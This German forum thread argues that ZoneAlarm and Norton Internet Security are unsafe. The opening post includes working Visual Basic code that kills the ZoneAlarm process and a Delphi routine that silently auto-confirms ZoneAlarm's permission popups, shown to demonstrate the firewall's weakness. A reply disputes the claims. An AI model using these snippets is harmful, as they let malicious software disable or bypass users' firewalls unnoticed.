Viren, Spyware, Datenschutz 11.241 Themen, 94.646 Beiträge

zonealarm? norton internet security?

GarfTermy / 19 Antworten / Flachansicht Nickles

in letzter zeit wird öfter gefragt warum zonealarm müll ist. ok... dann werden wir mal etwas zusammentragen.


lesestoff:


http://www.eweek.com/article2/0,4149,1531324,00.asp
http://php.technobabble.com.au/article596.html
http://www.eeye.com/html/Research/Upcoming/20040213-2.html
http://www.computercops.biz/article4839.html
http://www.theregister.co.uk/content/55/31481.html


viel gefährlicher ist aber das hier:


zonealarm killen:


code:--------------------------------------------------------------------------------
Option Explicit
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As
Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess
As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal
dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId
As Long) As Long
Const PROCESS_TERMINATE = &H1
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal
hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long


Private Sub Close_ZoneAlarm()
Dim xhwnd As Long
Dim pwid As Long
xhwnd = FindWindow(vbNullString, "ZoneAlarm")
GetWindowThreadProcessId xhwnd, pwid
Dim Task As Long, result As Long
Task = OpenProcess(PROCESS_TERMINATE, 0&, pwid)
TerminateProcess Task, 1&
CloseHandle Task
End Sub


danach ist zonealarm tot und der "geschützte" rechner bald auch.


neue berechtigungen vergeben?


code:--------------------------------------------------------------------------------
//Diese Procedure drückt den 'Yes' Button des ZoneAlarm-Alarm-Popup-Fensters.
//Am besten, sie wird in einem Timer mit dem kleinst möglichen Zeitintervall ausgeführt.
//So kann man sicher sein, dass das Alarmfenster, wenn es auftaucht sehr schnell,
//und kaum merkbar wieder geschlossen, und mit 'YES' beantwortet wird.


//This Procedure press the 'Yes' button of the ZoneAlarm-Alarming-Popup-Window.
//Best way to use:  write this procedure in your Project-Unit, put a Timer
//                  on your Form and execute the procedure in it with the smallest
//                  Timerintervall.


procedure HackZoneLabsZoneAlarm; //(c) Steve Tricky
var
ZoneAlarmYesButton      :THandle;
ZoneAlarmRememberAnswer :Thandle;
  begin
    try
    //try to find the Buttons on the older Version 2.1.44:
    ZoneAlarmYesButton      := FindWindowEx(findwindow('#32770',nil),0,nil,'&y yes_button');
    ZoneAlarmRememberAnswer := FindWindowEx(findwindow('#32770',nil),0,nil,'&Remember the answer each time I use this program.');


    //If Buttons not found, try it with the newer Version 2.6.88:
    If (ZoneAlarmYesButton = 0) or (ZoneAlarmRememberAnswer=0) then
        begin
        ZoneAlarmYesButton      := FindWindowEx(findwindow('#32770',nil),0,nil,'&Yes');
        ZoneAlarmRememberAnswer := FindWindowEx(findwindow('#32770',nil),0,nil,'&Remember this answer the next time I use this program.');
        end;


    //If all Buttons are found, and visible: CLICK THEM !
    If (ZoneAlarmYesButton <> 0) and (ZoneAlarmRememberAnswer <> 0) and (IsWindowVisible(ZoneAlarmYesButton)) and (IsWindowVisible(ZoneAlarmRememberAnswer)) then
       begin
       SendMessage(ZoneAlarmRememberAnswer, WM_LBUTTONDOWN ,0,0);
       Sleep(10);
       SendMessage(ZoneAlarmRememberAnswer, WM_LBUTTONUP ,0,0);
       Sleep(10);
       SendMessage(ZoneAlarmYesButton     , WM_LBUTTONDOWN ,0,0);
       Sleep(10);
       SendMessage(ZoneAlarmYesButton     , WM_LBUTTONUP ,0,0);
       end;


except end;
end;


toll!


nun gibt es diverse viren/würmern/trojanern, die gezielt za killen. natürlich kann man diese software weiter einsetzen - aber sicher kann man damit nicht sein.


nun zu norton...


ein softwareprodukt, was im paket mehrere grundverschiedene funktionen kombiniert - wie zb firewall und virenscanner - nutzt auch diverse programmbibliotheken gemeinsam. als ergebnis setzt sich eine fehlerhafte bibliothek durch alle programmodule als fehler durch. eine teilanwendung macht das gesamtpaket unsicher.
wird ein teil "abgeschossen", sind auch alle anderen teile betroffen.


ist das sicher? nein.


kleine linksammlung zu norton:


http://www.tutorials.de/shop/B0000B3A6N/Norton_Internet_Security_2004_deutsch.html
http://www.eeye.com/html/Research/Upcoming/20040309.html
http://www.rz.tu-ilmenau.de/~traenk/zaweg.htm
http://de.geocities.com/pseueq/y3k.htm


fazit?


sowohl nis, als auch za kann man ruhigen gewissens Nicht empfehlen.


viel spass beim "link"lesen.


;-)


 


 


 

The two basic principles of Windows system administration: For minor problems, reboot For major problems, reinstall
bei Antwort benachrichtigen
Grossadministrator GarfTermy „ ...deinen Hass auf ZA... die links sind eher unwichtig - dir ist entgangen, das...“
Optionen

Dein Posting "klang" aber so. Im Prinzip stimme ich dir ja zu, ZA taugt nicht viel, zwar aus anderen Gründen wie du (Probs mit win2k, XP), dennoch ist mir klar, das die weitaus meisten aller Anwender, seien es nun Hacker, Cracker oder Normalos, nicht in der Lage sind, dieses Programm zu deaktivieren. Jedenfalls ist es der c't im Test mit Würmern und Trojanern, die solches können sollen, nicht gelungen. Der PC-Welt wohl, die haben aber händisch die Registry manipuliert. Wenn du Zugriff auf den PC hast, und die Registry ändern kannst, brauchst du sicherlich kein Programm mehr, das eine Firewall abschießt.
Wie dem auch sei, lass bei deinen Links doch etwas mehr Sorgfalt walten, denn 5 Links, von denen 4 dasselbe schreiben und einer total veraltet ist, das macht keinen guten Eindruck.

bei Antwort benachrichtigen